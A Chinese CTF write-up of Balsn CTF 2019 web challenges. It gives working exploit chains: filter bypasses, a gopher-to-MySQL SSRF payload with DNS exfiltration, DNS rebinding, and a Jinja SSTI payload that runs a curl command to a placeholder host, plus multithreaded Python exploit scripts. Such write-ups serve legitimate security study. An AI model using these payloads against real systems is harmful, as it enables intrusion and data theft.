Balsn CTF 2019 web 题

Warm up

常见绕过、gopher 打 MySQL、SSRF

一打开题目就能看到源码,稍稍有点混淆,整理一下:

代码语言:javascript
复制
<?php
if (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt==")))
    && highlight_file(__FILE__)
    && (include("config.php"))
    && ($op = @$_GET['op'])
    && (@strlen($op) < 3 && @($op + 8) < 'A_A')) {
    $_ = @$_GET['Σ>―(#°ω°#)♡→'];
    if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)
        || @strlen(count_chars(strtolower($_), 3)) > 13
        || @strlen($_) > 19) {
    exit($secret);
} else {
    $ch = curl_init();
    @curl_setopt(
        $ch,
        CURLOPT_URL,
        str_repLace(
            &#34;int&#34;,
            &#34;:DD&#34;,
            str_repLace(
                &#34;%69%6e%74&#34;,
                &#34;XDDD&#34;,
                str_repLace(
                    &#34;%2e%2e&#34;,
                    &#34;Q___Q&#34;,
                    str_repLace(
                        &#34;..&#34;,
                        &#34;QAQ&#34;,
                        str_repLace(
                            &#34;%33%33%61&#34;,
                            &#34;&gt;__&lt;&#34;,
                            str_repLace(
                                &#34;%63%3a&#34;,
                                &#34;WTF&#34;,
                                str_repLace(
                                    &#34;633a&#34;,
                                    &#34;:)&#34;,
                                    str_repLace(
                                        &#34;433a&#34;,
                                        &#34;:(&#34;,
                                        str_repLace(
                                            &#34;\x63:&#34;,
                                            &#34;ggininder&#34;,
                                            strtolower(eval(&#34;return $_;&#34;))
                                        )
                                    )
                                )
                            )
                        )
                    )
                )
            )
        )
    );
    @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    @curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    @curl_EXEC($ch);
}

} else if (@strlen(op) &lt; 4 &amp;&amp; @(op + 78) < 'A__A') {
_ = @_GET['⁣']; # \u2063
//http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79
if ((strtolower(substr($_, -4)) === '.php')
|| (strtolower(substr($_, -4)) === 'php.')
|| (stripos($_, "&#34;") !== FALSE)
|| (stripos($_, "\x3e") !== FALSE)
|| (stripos($_, "\x3c") !== FALSE)
|| (stripos(strtolower($_), "amp") !== FALSE))
die($secret);
else {
if (stripos($_, "..") !== false) {
die($secret);
} else {
if (stripos($_, "\x24") !== false) {
die($secret);
} else {
print_r(substr(@file_get_contents($_), 0, 155));
}
}
}
} else {
die(secret) &amp;&amp; system(_GET[0x9487945]);
}

这段代码并不需要额外配置,却加载了一个 config.php,有点蹊跷,先读下源代码看看。有两种办法,一是通过 eval,而是利用 file_get_contents,后者明显要简单些。这样的后缀检查加个空格就能过。因为读取有长度限制,可直接使用伪协议进行压缩,然后解压即可。

代码语言:javascript
复制
<?php
$content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");
idx = stripos(content, "</code>") + 7;
file_put_contents("/tmp/233", substr(content, idx));

echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233");

得到内容如下

代码语言:javascript
复制
# file:config.php
<?php
// ***********************************
// THIS IS THE CONFIG OF THE MYSQL DB
// ***********************************
$host = "localhost";
$user = "admin";
$pass = "";
$port = 8787;
// hint:flag-is-in-the-database XDDDDDDD
// ====================================
%

看到了这个提示,MySQL 还是空密码,目标就相当明确了,gopher 打 MySQL 即可,file_get_contents 一般打不出 gopher。那就利用之前的 curl,这里也有三重限制:

代码语言:javascript
复制
if (preg_match('/[\x00-!&#39;0-9"`&.,|^[{_zdxfegavpos\x7F]+/i&#39;, )
|| @strlen(count_chars(strtolower($
), 3)) > 13
|| @strlen($_) > 19) {

至于第一个正则匹配,取反就行了,都是常见技巧,比如 phpinfo => (%8F%97%8F%96%91%99%90)()

image.png

gopher 的 payload 都比较长,直接传是不可能的。之前出过很多无参函数的题,常见的手法是通过 getenvgetallheadersget_defined_vars之类的函数获取参数。由于长度的限制,最好的选择就是 getenv

代码语言:javascript
复制
(%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%A7) => getenv("HTTP_T")
image.png

成功打出请求,接下来继续打 MySQL, Gopherus 生成下 payload。

phpinfo 中能看到是 Windows 的机器,验证一下能不能 DNS 数据外带,不然只能当盲注处理了。

(PS:本地实验记得修改 mysql.ini 文件,在 [mysqld] 下加入 secure_file_priv = )

代码语言:javascript
复制
Give MySQL username: admin
Give port: 8787
Give query to execute: select load_file(concat('\\',version(),'.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a'));

Your gopher link is ready to do SSRF :

gopher://127.0.0.1/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%65%00%00%00%03%73%65%6c%65%63%74%20%6c%6f%61%64%5f%66%69%6c%65%28%63%6f%6e%63%61%74%28%27%5c%5c%5c%5c%27%2c%76%65%72%73%69%6f%6e%28%29%2c%27%2e%39%66%70%30%37%71%32%6e%68%6f%31%76%38%74%6e%36%38%73%7a%6c%73%35%34%64%39%34%66%75%33%6a%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%2f%61%27%29%29%3b%01%00%00%00%01

成功收到请求。

代码语言:javascript
复制
10.3.16-MariaDB.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net.

继续获取数据:

代码语言:javascript
复制
select load_file(concat("\\",substr(hex(group_concat(schema_name)),39,68),".9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a")) from information_schema.schemata;
-- 得到了数据库名 test,thisisthedbname,需要注意的是太长了出不了网,不能出现像逗号这种的特殊符号

接下来就是老套路了,读表名、列名,拿数据。

代码语言:javascript
复制
42616C736E7B337A5F77316E643077735F7068705F6368346C7D  =>  Balsn{3z_w1nd0ws_php_ch4l}

有师傅把上面的过程整合了下,通过 flask 转发,然后就能 sqlmap 一把梭,值得学习,代码如下。

https://movrment.blogspot.com/2019/10/balsn-ctf-2019-web-warmup.html

代码语言:javascript
复制
#coding: utf-8
import requests

class MySQL():
print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
user = 'admin' #raw_input("\033[96m" +"\nGive MySQL username: " + "\033[0m")
encode_user = user.encode("hex")
user_length = len(user)
temp = user_length - 4
length = (chr(0xa3+temp)).encode("hex")

dump = length + &#34;00000185a6ff0100000001210000000000000000000000000000000000000000000000&#34;
dump +=  encode_user
dump += &#34;00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c&#34;
dump += &#34;69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d&#34;
dump += &#34;067838365f36340c70726f6772616d5f6e616d65056d7973716c&#34;

query = &#34;show databases;&#34;;#raw_input(&#34;\033[96m&#34; +&#34;Give query to execute: &#34;+ &#34;\033[0m&#34;)

auth = dump.replace(&#34;\n&#34;,&#34;&#34;)

def encode(self, s):
    a = [s[i:i + 2] for i in range(0, len(s), 2)]
    #return &#34;gopher://127.0.0.1:3306/_%&#34; + &#34;%&#34;.join(a)
    return &#34;gopher://127.0.0.1:8787/_%&#34; + &#34;%&#34;.join(a)


def get_payload(self, query):
    if(query.strip()!=&#39;&#39;):
        query = query.encode(&#34;hex&#34;)
        query_length = &#39;{:06x}&#39;.format((int((len(query) / 2) + 1)))
        query_length = query_length.decode(&#39;hex&#39;)[::-1].encode(&#39;hex&#39;)
        pay1 = query_length + &#34;0003&#34; + query
        final = self.encode(self.auth + pay1 + &#34;0100000001&#34;)
        return final
    else:
        return encode(self.auth)

coding: utf-8

from flask import Flask, render_template, request
import time

app = Flask(name, template_folder='.')

@app.route('/')
def blind():
username = request.args.get('username')
url = "http://localhost/gg.php"
url = "http://warmup.balsnctf.com/"
def n(s):
r = ""
for i in s:
r += chr((ord(i)) & 0xFF)
r = "
{}".format(r)
return r

t = &#39;(&#39; + n(&#39;getenv&#39;) + &#39;)(&#39; +n(&#39;HTTP_X&#39;) + &#39;)&#39;
# x = MySQL().get_payload(&#34;select IF(TRUE AND (select &#39;1&#39;=&#39;{username}&#39;), sleep(10), sleep(0));&#34;.format(username=username))
x = MySQL().get_payload(&#34;select id from (select 1 as id)a where id=&#39;{username}&#39;;&#34;.format(username=username))

print repr(x)
print len(t)
try:
    r = requests.post(url=url, params = {
            &#39;op&#39; : &#39;-9&#39;,
            &#39;Σ&gt;―(#°ω°#)♡→&#39; : t
        },
        cookies = {&#34;PHPSESSID&#34; : &#34;123&#34;},
        headers = {&#34;X&#34;: x},
        timeout = 1.5
    )
    return &#34;1&#34;
except:
    time.sleep(4)
    return &#34;0&#34;
return r.content

if name == "main":
app.run(host='0.0.0.0', debug=True)

'''
python sqlmap.py -u "http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs --level 1 --time-sec=2
'''

韩国鱼

DNS rebinding、SSTI、命令执行

题目直接放出了 docker 环境,有个 readflag.c,看来是要执行命令。

代码语言:javascript
复制
# index.php
<?php
ini_set('default_socket_timeout', 1);

waf = array(&#34;@&#34;,&#34;#&#34;,&#34;!&#34;,&#34;","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data");

dst = @_GET['🇰🇷🐟'];
if(!isset($dst)) exit("Forbidden");

res = @parse_url(dst);
ip = @dns_get_record(res['host'], DNS_A)[0]['ip'];

if(res[&#39;scheme&#39;] !== &#39;http&#39; &amp;&amp; res['scheme'] !== 'https') die("Error");
if(stripos($res['path'], "korea") === FALSE) die("Error");

for(i = 0; i < count(waf); i++)
if(stripos(dst, waf[$i]) !== FALSE)
die("<svg/onload=&#34;alert('發大財!')&#34;>".waf[i]);
sleep(1);

// u can only touch this useless ip :p
$dev_ip = "54.87.54.87";
if(ip === dev_ip) {
content = file_get_contents(dst);
echo $content;
}

另外内网里还跑了一个 flask,这段代码明显有 SSTI。

代码语言:javascript
复制
@app.route('/error_page')
def error():
error_status = request.args.get("err")
err_temp_path = os.path.join('/var/www/flask/', 'error', error_status)
with open(err_temp_path, "r") as f:
content = f.read().strip()
return render_template_string(sanitize(content))

代码里还很贴心的加入了一个 sleep(1),对访问 IP 的限制显然可以通过 DNS rebinding 进行绕过。当服务端通过 dns_get_record 解析时,返回 54.87.54.87,通过 file_get_contents 访问时,host 被解析成 127.0.0.1 自然就能打到内网。

国内能买到的域名 TTL 基本无法为零,难道需要充钱买新域名吗?

不,有很多现成的平台能用,比如 https://lock.cmpxchg8b.com/rebinder.html

image.png

不过这个是规律性的随机解析,还是要点小运气的 :)

可看到成功进入内网:

image.png

要想访问 /error_page ,这还有点小限制

代码语言:javascript
复制
if(stripos($res['path'], "korea") === FALSE) die("Error");

不过在 Flask 里有个特性,//korea/error_page => /error_page,自然就解决了。当然也可以自己写个跳转。

另外还有一点:

代码语言:javascript
复制
>>> import os
>>> os.path.join("/var/www/flask", "error", "/etc/passwd")
'/etc/passwd'

接下来要做的就是找到一个可控的文件,别忘了前面还跑了个 PHP,那就利用 session.upload_progress 进行上传吧,也是常见的手段。可参考:

https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

https://www.anquanke.com/post/id/162656

http://wonderkun.cc/index.html/?p=718

https://www.php.net/manual/zh/session.upload-progress.php

我们先看一下 SSTI 如何构造才能进行命令执行。

代码语言:javascript
复制
def sanitize(str):
return str.replace(".", "").replace("{{", "")

'''
过滤 {{ => {%%}

过滤 . =>
{{''['class']}}
{{''|attr('class')}}
\x2e
getattr
'''

常用 payload

{% for c in [].class.base.subclasses() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b.class == {}.class %}
{% if 'eval' in b.keys() %}
{{ b'eval' }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

=>

{% for c in []['class']['base']'subclasses' %}
{% if c['name'] == 'catch_warnings' %}
{% for b in c['init']['globals']'values' %}
{% if b['class']=={}['class'] %}
{% if 'eval' in b'keys' %}
{% if b['eval']('getattr(import("os"),"popen")("curl your_host//readflag")') %}
{% endif %}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

把 orange 之前 one line php 的 exp 改下就能用了,最终 exp:

代码语言:javascript
复制
import sys
import string
import requests
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://koreanfish.balsnctf.com'
sess_name = 'iamorange'

headers = {
'Connection': 'close',
'Cookie': 'PHPSESSID=' + sess_name
}

payload = '''
{% for c in []['class']['base']'subclasses' %}
{% if c['name'] == 'catch_warnings' %}
{% for b in c['init']['globals']'values' %}
{% if b['class']=={}['class'] %}
{% if 'eval' in b'keys' %}
{% if b['eval']('getattr(import("os"),"popen")("curl your_host//readflag")') %}
{% endif %}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
'''

def runner1(i):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z'
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()
print(r.status_code)

def runner2(i):
filename = '/var/lib/php/sessions/sess_' + sess_name
while 1:
url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST, filename)
r = requests.get(url, headers=headers)
print(r.status_code)

if sys.argv[1] == '1':
runner = runner1
else:
runner = runner2

pool = ThreadPool(32)
result = pool.map_async( runner, range(32) ).get(0xffff)

Donation

ASP.NET, Deserialization, SSRF, Gopher, CRLF Injection

https://github.com/CykuTW/My-CTF-Challenges/tree/master/BalsnCTF-2019/Donation

silhouettes

PHP、imageio 0day

images-and-words

Python 沙盒逃逸

https://github.com/BookGin/my-ctf-challenges/tree/master/balsn-ctf-2019/images-and-words

未完待续